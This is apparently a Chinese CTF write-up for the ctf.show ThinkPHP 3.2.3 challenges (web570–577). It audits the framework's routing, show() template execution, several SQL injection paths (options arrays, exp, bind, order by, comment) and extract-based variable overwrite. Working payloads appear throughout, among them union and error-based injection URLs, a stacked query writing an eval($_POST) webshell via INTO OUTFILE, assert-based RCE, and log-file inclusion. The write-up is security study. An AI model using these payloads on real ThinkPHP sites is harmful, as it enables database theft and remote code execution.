thinkphp3.2.3审计专题
url模式
普通模式
tp的路由结构是由模块
,控制器
,方法
组成的
tp中默认的控制器就是IndexController
模块其实就是上层文件夹名称,也可以从代码中看出来
控制器方法其实就是类底下的方法了
不同tp的版本会有些许差异但本质还是没有区别
都是文件名,类名,方法名
其url的访问形式就是
1 | http://xxxxx/?m=Home&c=Index&a=h_n&xxx=xxx |
m代表模块名
c代表控制器名
a就是方法名
xxx就是其他参数了
PATHINFO模式
这个模式的url结构如下1
http://xxxxx/index.php/Home/Index/h_n?xxx=xxxx
这个方法同样是模块,控制器,方法,而参数就可以值使用正常的?来传
我们也可以通过如下方式来传参1
http://localhost/?s=/Home/Index/h_n/name/LSE
当然我们也可以像这样访问方法
1 | http://xxxxxx/?s=/Home/Index/h_n&xxx=xxxx |
REWRITE模式and
剩下两种的差别也不大我就直接贴手册了
https://www.kancloud.cn/manual/thinkphp/1697
路由
手册里讲的其实很清楚了,唯一要注意的是再不同目录下的config.php的路由定义差别
如果再模块下的config.php定义时时如下的1
2
3'URL_ROUTE_RULES' => array(
'shell/:cmd' => array('Index/shell','haha=123')
)
上面的映射是将Home控制器即默认控制器底下的shell映射到Index/shell。
再访问时的url变化其实是下面这样的1
http://xxxx/index.php/Home/Index/shell => http://xxxxx/index.php/Home/Index/shell
是的再模块文件下的config定义的路由前面默认会有应该模块名
而在app下即应用目录下,其实就是再全局定义了,我们的定义方法和模块的有小小的不同。1
2
3'URL_ROUTE_RULES' => array(
'shell/:cmd' => array('Home/Index/shell','haha=123')
)
再指定后面的路由时我们需要连同模块一起带上1
http://xxxx/index.php/Index/shell => http://xxxxx/index.php/Home/Index/shell
web570
首先这个附件给的是APP目录即其定义的路由是全局路由
搜config.php可以发现其定义的代码
其利用了闭包路由
其将ctfshow后的两个参数传到call_user_func这个回调函数里
我们直接通过assert来命令执行
1 | https://b25276a0-7954-4adf-b6e4-3fffcd5e0d8f.challenge.ctf.show/index.php/ctfshow/assert/eval("$_POST[1]") |
show命令执行
无缓存,默认的think引擎(因为php引擎的命令执行比较简单有提一嘴php引擎)
再thinkphp3.2.3中show函数存在着命令执行的问题。下面会将会对其进行分析
步入fetch函数
我们可以看到当TMPL_ENGINE_TYPE的配置信息为php时会直接将我们传入show的参数放入eval中命令执行
C函数的作用就是从config中提取TMPL_ENGINE_TYPE的内容
默认的为Think
之后将我们传入的参数组成array然后传入listen解析出处理
进入listen后会发现一个类下的exec函数
将tag赋值为Run并且实例化name指向的类
也就是最后返回的时ReadHtmlCacheBehavior->Run($params)
而$params也就是我们之前传入的参数经过包装后的数组
之后就是判断引擎,也就是think,然后获取我们传入show的参数,和前缀(不太清楚这是啥)
然后进入if判断,检查一下是否存在缓存,存在就直接通过Storage::load加载。因为我们是第一次进入所以并没有缓存。
对tpl进行赋值 步入instance方法。
可以发现其判断传入的路径是否为实例,是否为类,如果不是实例但是为类就将其实例化返回。
返回的类是Template
然后使用这个类的fetch
之后进入loadTemplate
其会判断传入的参数是否为文件,不为文件就会尝试写入缓存,缓存的路径为,配置中的缓存路径加上。文件名为缓存的内容,拼接上设置预设的缓存后缀。默认为.php
然后处理要写入的内容
最终渲染结果为,在前面加一个判断是否定义THINK_PATH的函数,如果定义了就可以指向后面的代码,即我们传入的参数
然后调用Storage的put方法。
因为其没有put方法于是触发了__callstatic
(__callstatic
与__call
相似只是前者用于类后者用于对象)那么$method
就为put而$args
就为一个存储路径和写入内容的一个数组
。然后使用回调函数来调用self::$handler
的put方法,参数为$arg
而self::$handler
在connect方法有进行赋值赋值
如果我们在一开始传参之前就在这里下个断点会发现其实在一开始传参就已经直接运行到了这里
其实例化的类为File类。我们看一下这个类
其put方法就是一个文件写入的方法
写入文件后会调用到
Stirage::load同样没有这个方法,所以会加载到File的load方法中
而filename就是缓存的路径
这样就导致了文件包含,从而进行了命令执行
有缓存
我们直接调到之前判断有无缓存的部分
其chek缓存的方法其实就是调用File类的has方法来查看是否存在缓存文件
会发现如果有缓存会直接调用Storage::load
Storage::load其实就是文件包含了
纠正一下我刚才在上面说的都是实例化类,但其实应该叫实例化控制器,虽然其实都差不多
web571
可以发现在index方法里写了一个show函数,而show函数内的参数
上面手册的方法不行,可能是配置没开,这里直接get传值即可
日志
web572
在开启debug是tp会自动记录日志,而日志的位置位于
Application/Runtime/Logs/模块/xx_xx_xx.log
可以发现日志里index.php直接就是马
think3.2.3sql注入
感觉干巴巴的调下去会很无聊,所以我这里就把sql的函数调一下看看,tp到底是怎么实现这些函数的
M
https://www.thinkphp.cn/info/123.html
看起官方文档可以知道M函数的基础用法,其作用就是实例化一个模型,而这个函数可以在没有定义任何实例时实例一个数据表的模型。
我们可以看到当我们传入的name为xxx:xxx时其会分割传入$class
和$name
如果没有定义类名就赋值为默认的Think\\Midel
控制器,然后将connection . $tablePrefix . $name . '_' . $class
进行拼接。因为我们没有设定前缀和connection,所以返回的就是name和class拼接的结果。从文档我们可以看出$connection
是用于数据库连接的参数,所以后面应该会从配置中得到数据库连接信息并赋值给这个变量
步入实例化类。
我们可以看到其直接跳到了autoload,这是因为其在程序开始时初始时的操作导致的
我们继续看autoload()
其先检测map内有没有缓存,有的话就直接文件包含
然后进入其__construc
,之后初始化为一个value几乎为空的类,之后就是一串赋值操作
我们步入db方法。
然后步入这个Db的实例化操作
其将我们传入的空config继续md5编码,然后实验parseConfig来得到配置中的数据库连接信息
因为其config为空所以其直接通过C方法来获取config.php的配置信息,然后组成数组赋值给config变量。然后返回$config
$options
其实就是被赋值为了连接信息。
然后实例化一个mysql类其参数为连接信息
连接配置被存到类里的config
最后就将这个mysql类返回
也就是_db[$linkNum]
被赋值为这个类的实例
然后db被赋值为这个实例
最后就是判断我们这个table是否存在如果存在就返回我们这个配置好的模型。
我们一直往下调回发现这个check其实就是用 $this->query($sql);
来查询这个表是存在
我们看这个模板类其重点的两部分就是db属性和exp中的selectSql。
而这个模板语句在最开始其实就语句写好了
select
首先是select函数在查询时的代码如下1
2
3
4
5
6public function Sql(){
$User=M("users");
$b=$User->select();
var_dump($b);
}
上面的代码实例化了一个模板,这个模板就是数据库的users表。然后直接调用select来查询这个表的使用内容相当于使用了下面的sql代码1
select * from users
下面开始调试
前面就是加载一下预定义的东西。
再次进入db的select函数。传入的参数$options
就是我们的tablename users
前面的的modle是个空数组,$options['bind']
也是空的
我们步入buildSelectSql。
再步入parseSql
我们可以发现这里是使用str_replace()来对$sql
进行替换。sql就是预定义的一个sql查询语句如下1
SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%
我们可以发现其应该就是通过这种替换,从而达到生成最终的sql语句
我们继续步入
其使用array_walk来回调处理我们的字符串
我们可以发现其实就是使用第二个参数的类方法来处理第一个参数,所以我们会跳到parseKey方法
唯一有点疑问的是$this
会指向Mysql控制器不懂。但无伤大雅
我们可以发现其将我们的参数用反引号包裹,然后返回。
后面的我就不调了,都是类似于这种操作
然后步入query
将queryStr赋值为我们的sql语句
最后使用PDO进行sql查询
$Options可控导致的sql注入
我们使用sql查询有如下俩种1
2$b=$User->select($id);
$b=$User->find($id);
其中$id
可填可不填,$id
其实就是所谓的$Options
find和select这两个函数因为$Options
原理其实是一样的代码也很像所以我这里就直接审select函数的了1
2
3$id=I('GET.id');
$User=M("users");
$b=$User->select($id);
首先如上代码我们先传?id=1’来调一调看一下是哪里对参数进行了处理
我们进入select函数,会发现其先对判断我们的参数是否为字符串或者数字,如果是就进行处理
其将我们的参数传入$where[id]
在将$where
传给清空后的$options
,
随后传入_parseOptions()方法,我们步入
然后将$options
和一个空数组进行merge
这个函数如果输入空数组与正常数组,合并后内容不变
经过一段赋值之后检测$options['where']
是否为空是否为数组等,通过后就对参数进行二次处理
其将$options['where']
和其key传入_parseType()进行处理
步入 _parseType()
步入发现其会将$options['where']
的内容经过intval来处理,这导致我们传入的1’被转换成数字1
那么我们就要想办法让其不要进入这个方法。我们回顾一下上面审的就会发现
只要我们让$options['where']
不为数组就不会进入_parseType
而是直接返回了$options
而返回了$options
后的流程其实我们上面调select()函数时已经调过了
其对我们传入的内容进行拼接,其数组的key为where,union啊这些参数应该不少都有可以进行sql注入,因为我们最常见最简单就是were导致的sql注入我这里就演示这个了
我们传入1
?id[where]=1'
经过上面的流程最终就会导致sql语句变为1
SELECT * FROM `users` WHERE 1'
所以我们只要我们传入的id为数组就可以绕过waf
甚至直接注入到%FIELD%使得语句直接变为1
select database();
感觉审过java后回过头审php会轻松很多。上面的漏洞审计我只看来payload和就大致能审出来了
web573
其实就是用我们前面写的id[where]注入,然后就是union注入的过程了。1
https://78b70afb-4106-4504-8985-8ee683b2afe0.challenge.ctf.show/?id[where]=0 union select 1,(select flag4s from flags),3,4
where exp注入
关于这个函数的注入我个人准备自己审,不看网上的审计过程1
2
3
4$id=I('GET.id');
$User=M("users");
$b=$User->where($id)->find();
var_dump($b);
我们给id传入1’简单调试一下
简单调试了一下发现其并没有过滤直接将其拼接再sql语句里了
首先检测其是否为字符串,且不为空,然后进行一个赋值的逻辑,最后赋值的结果就是1
$where['_string']=1'
然后将$where直接赋值到options[‘where’]中感觉和上面的已经有点联系了
这次到这里虽然options[‘where’]是数组,但是因为只有key为id,username,password时才会进入这个_parseType()预渲染方法。所以其不会被intval
我们直接调到where的拼接逻辑去
前面的操作用处不大,我们步入parseThinkWhere,
可以发现其并没有处理而是直接赋值
然后返回被括号包裹的$whereStr
然后拼接拼接的结果其实就是1
SELECT * FROM `users` WHERE ( 1' ) LIMIT 1
明显可以sql注入payload如下1
http://localhost/index.php/Home/Index/sql?id=0 ) union select 1,2,database()--+
可以知道这明显和网上的exp注入不一样啊
看一下文章可以发现网上的exp注入其实是应对下面的情况1
2
3
4
5
6$User = D('Users');
// 先构建查询条件,再执行查询
$map = array('username' => $_GET['username']);
// $map = array('username' => I('username'));
$user = $User->where($map)->find();
var_dump($user);
我们可以看到其定义了$where
的key为username。我们来调一下看看会有什么不同
首先$this->options['where']
会被直接复制为$where
而其key已经提前定义了,也就是说我们传入的username是会进入_parseType()的。
但是经过调试后会发现其并没有对我们的参数进行修改
怀疑渲染是出现再拼接步骤的处理上
我们一路往下调就会调到parseValue()方法。我们可以发现如果传入的参数为字符串,且value值不在bind的key中就会使用,其就会使用escapeString来使得’被转义,然后使用引号包裹
组成的sql语句如下1
SELECT * FROM `users` WHERE `username` = '1\'' LIMIT 1
这时我个人认为的绕过方法为两种
一种是给bind赋值我们的注入语句,这样其返回的$value
就不会被’’包裹自然就可以再拼接后进行sql注入了。
第二种应该就是我们要调的exp注入了。我们看第二个判断语句可以发现我们的$value[0]
只要为exp其$value
也没有被单引号包裹
我这里先尝试第二种,第二种我们知道传值的变量,而第一种目前还不知道如何传入bind
1 | http://localhost/index.php/Home/Index/sql?name[0]=exp&name[1]= =1 union select 1,2,database();--+ |
然后我又调了一下发现不对
这个$exp
怎么被赋值了,而当$exp
被赋值为exp时其返回的$whereStr
就是没有经过parseValue处理的$key . ' ' . $val[1];
只能说误打误撞吧
我们可以看到如果我们传入的username参数为数组,就会对$exp
复制$exp
被直接复制为了val[0]
说实话真有点巧了,当初发现这个注入方法的是不是也是这样发现的呢?
web574
我们可以看到where内的参数我们可控而且其为string,那么我们就可以用第一个分析的注入方法1
?id=0) union select 1,(select flag4s from flags),3,4%23
虽然我们拿到了flag。但是我们看题目给的源码会发现一个show函数,而其参数为$html
那应该是回显的html
那么其应该是我们可控的,这就有可能存在一个rce的漏洞
我们使用sql注入使其回显<?php phpinfo();?>
web577
我们可以发现这个明显就是exp注入了。我们可以使其value[0]为exp来进行sql注入
?id[0]=exp&id[1]= =0 union select 1,(select flag4s from flags),3,4
where bind注入
原本我以为这个会和上面的exp注入方法是一样的结果发现,还是有不小差别的
我们调到这里这个bind会发现请key和val拼接了一个=:
这导致我无法想之前一样进行sql注入
但是我们看上面的代码可以发现其拼接的时候并不是=号而是= :这就导致了我们的sql语句会因为:一直报错从而导致我们无法进行sql注入。
bind sql注入的场景为1
2
3
4
5$id=array("username"=>$_GET['name']);
$data=array("password"=>I("GET.password"));
$User=M("users");
$b=$User->where($id)->save($data);
var_dump($b);
是数据库更新时所触发的
我们先传入?id=1'&password=123'
来跳一跳看看逻辑
先进入where其就是对$this->options['where']
赋值为$where
然后返回。
然后进入save
先进入$this->_facade
其作用其实就是$fields
赋值为$this->$fields
和对save的参数用_parseType来进行处理。$this->$fields
其实就是users这个表的列名和列数据类型。而_parseType只会对,bool int float这种数据进行处理。我们参数指向的列名是varchar类型不会被处理
而后的_parseOptions前面已经分析过了
我们继续往下走步入关键函数update
update下有三个关键函数,我们一个个的去看
我们先看985行可以发现$sql
的值是由update $table
以及$this->parseSet($data)
的返回值组合成的,其实不用步入函数我们也能猜到这是个更新数据库的sql语句。
进入parseSet函数我们可以发现我们传入的数组$data
会被拼接为password=:$name
即password=:0
并且将:$name
作为key存到bind数组里,value其实就是我们传入$data
的value
990行其实就是将$sql
拼接上$this->parseWhere
的返回值,这个函数在我们之前审exp注入时其实以及看的七七八八了
所以我们直接看execute()
其内部有个strtr来对我们的 $this->queryStr
进行替换
也就是对之前处理生成的sql语句进行替换。
我们看strtr其参数只有两个第二个为经过array_map处理的$this->bind
,array_map内的匿名函数其实就是一个使用addslashes来处理value的函数。
我们可以看出当strtr的第二个参数为数组时,其替换逻辑就是将str中与key同样的字符串改为value。$this->bind
前面是被赋值为:0=>$value
其实也就是将我们传入save的参数的数组的value重新赋值回去说实话这个:0简直不要太眼熟,这不就是我们之前像以exp注入的方式来进行bind注入遇到的困难点吗。
我们只要给where传一个数组val[0]为bind,val[1]赋值为0 xxxxxxxz这样最终的sql语句就会被转为
1 | ?id[0]=bind&id[1]=0 xxxxx&password=123 |
那么xxxx就是一个我们可控的sql语句,因为这个不是查询语句所以我们只好使用盲注或者报错注入
1 | http://localhost/index.php/Home/Index/sql?id[0]=bind&id[1]=0 or extractvalue(0x0a,concat(0x0a,(select database())))%23&password=123 |
order by 注入
1 | $User=M("users"); |
where我们就不看了,我们直接看order的逻辑,首先在Think控制器中并没有order方法所以其触发到__call
我们可以发现其是一个赋值操作
接下来和前面都差不多,直接调到拼接sql语句的parseOrder里
可以看到无论其内容是否为数组都没有进行过滤和渲染。也就是说可以直接进行sql注入
1 | http://localhost/index.php/Home/Index/sql?num=3 or extractvalue(0x0a,concat(0x0a,(select database()))) |
comment注释注入
和前面的其实一样,我们调到模板拼接部分可以发现,其是直接用注释符包裹然后返回。没有进行过滤。那么我们就可以进行sql注入。1
SELECT * FROM `users` WHERE `id` = 0 LIMIT 1 /* injection_point */
我们闭合一下注释符其实相当于在limit后进行注入
Mysql下Limit注入方法
但是文中的方法在我的实测下并不试用于mysql5.7.x,适用于mysql5.5.x
这时我们除了文中的方法还可以采用堆叠注入。1
http://localhost/index.php/Home/Index/sql?id=*/;select sleep(3) /*
在5.5版本下的mysql我们也可以采用文中的方法1
http://localhost/index.php/Home/Index/sql?id=*/procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); /*
web576
题目需要拿到shell,且为注释注入,那么我们直接用堆叠注入来写入shell1
?id=*/;select "<?php eval($_POST['lse']);?>" into outfile "/var/www/html/shell.php" /*
assign参数可控导致的,变量覆盖导致的命令执(其实应该是文件包含)
think模板引擎
1 | public function rce() |
虽然上面的代码有两个可控参数但是只要能控制第一个参数其实就可以命令执行,至于为什么我们调一下就知道了1
http://192.168.20.1/index.php/Home/Index/rce?name=name&from=lse
这个漏洞出现的原因就是assign方法的第一个参数可控,因为当第一个参数可控时,其实其返回值也就被控制了
我们步入可以发现当第一个参数为数组时,其直接给$this->Tvar
赋值为数组$name
如果不是数组就把$name
当key 第二个参数当value,可见要控制tVar其实我们只要能控制第一个参数即可
我们先简单调一下其是怎么进行模板拼接的,其除了某些处理之外,其实和之前的show是很像的
一样进入fetch
一样放回模板的路径
传入listen方法的参数的$params
其包含了$this->tVar
进入listen后会发现一个类下的exec函数,这些过程和前面show方法的类似我们直接一路调到run方法
我们可以看到其实例化了一个模板类后又调用了fetch,其参数有$_data['var']
,这个data其实就是$params
万能进入fetch会发现其同样有一个渲染模板的过程,其模板被渲染为如下php文件
我们可以发现其是将我们的{$name}
变为了<?php echo ($name); ?>
,而我们目前并没有$name
这个参数,那么下面肯定会创建一个$name
参数。我们看一下其是怎么创建的
我们可以发现其逻辑为使用 extract($vars, EXTR_OVERWRITE);
来将$vars
的key变为变量,而$vars
其实就是$this->tVar
$vars
参数是我们可控的。那么我们就可以进行变量覆盖。而下面正好有一个文件包含,那么我们直接将$_filename
进行覆盖这样不就可以进行日志文件包含了?1
2
3/index.php/Home/Index/rce?name=<?=eval($_POST[123])?>
http://192.168.20.1/index.php/Home/Index/rce?name=_filename&from=./Application/Runtime/Logs/Home/24_12_13.log
php模板引擎
我们库看到当引擎为php时,前面也有一个extract1
empty($_content) ? include $templateFile : eval('?>' . $_content);
可以发现只要$_content
不为空其就会直接执行$_content
,当然也可以直接覆盖templateFile
那就和前面一样了1
http://localhost/index.php/home/index/rce?name=_content&from=<?php phpinfo();?>
1 | http://localhost/index.php/home/index/rce?name=templateFile&from=./Application/Runtime/Logs/Home/24_12_13.log |